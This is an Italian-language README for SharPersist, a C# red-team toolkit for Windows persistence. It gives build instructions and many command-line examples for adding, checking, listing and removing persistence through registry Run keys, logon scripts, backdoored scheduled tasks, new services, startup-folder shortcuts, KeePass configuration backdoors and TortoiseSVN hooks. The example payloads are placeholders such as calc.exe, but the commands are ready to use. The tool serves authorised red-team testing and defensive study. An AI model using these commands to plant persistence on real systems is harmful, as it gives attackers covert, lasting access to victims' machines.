
Toolkit C# per stabilire e gestire la persistenza in Windows tramite chiavi di registro, attività pianificate, servizi, cartelle di avvio, configurazioni di KeePass e hook di TortoiseSVN.
Toolkit di persistenza per Windows scritto in C#. Per informazioni dettagliate sull'utilizzo di ogni tecnica, consulta la Wiki.
Autore - Brett Hawkins (@h4wkst3r)
Segui i passaggi seguenti per configurare Visual Studio e compilare il progetto da solo. Questo richiede un paio di librerie .NET che possono essere installate dal gestore pacchetti NuGet.
Le seguenti librerie di terze parti sono utilizzate in questo progetto.
| Libreria | URL | Licenza |
|---|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | Licenza MIT |
| Fody | https://github.com/Fody/Fody | Licenza MIT |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass - backdoor del file di configurazione di keepassreg - aggiunta/modifica di chiavi di registroschtaskbackdoor - backdoor di un'attività pianificata aggiungendo un'azione aggiuntivastartupfolder - file .lnk nella cartella di avviotortoisesvn - script hook di TortoiseSVNservice - crea un nuovo servizio Windowsschtask - crea una nuova attività pianificataadd - aggiunge la tecnica di persistenzaremove - rimuove la tecnica di persistenzacheck - esegue una prova (dry-run) della tecnica di persistenzalist - elenca le voci correnti per la tecnica di persistenzaenv - add-on opzionale per l'offuscamento delle variabili d'ambiente per il registrohourly - add-on opzionale per la frequenza di schtaskdaily - add-on opzionale per la frequenza di schtasklogon - add-on opzionale per la frequenza di schtaskhklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
Backdoor di attività pianificata
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
Cartella di avvio
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
Servizio Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
Attività pianificata
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
Registry
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
Backdoor di attività pianificata
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
Cartella di avvio
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
Servizio Windows
SharPersist -t service -n "Some Service" -m remove
Attività pianificata
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
Backdoor di attività pianificata
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
Cartella di avvio
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
Servizio Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
Attività pianificata
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
Registry
SharPersist -t reg -k "hkcurun" -m list
Backdoor di attività pianificata
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
Cartella di avvio
SharPersist -t startupfolder -m list
Servizio Windows
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
Attività pianificata
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon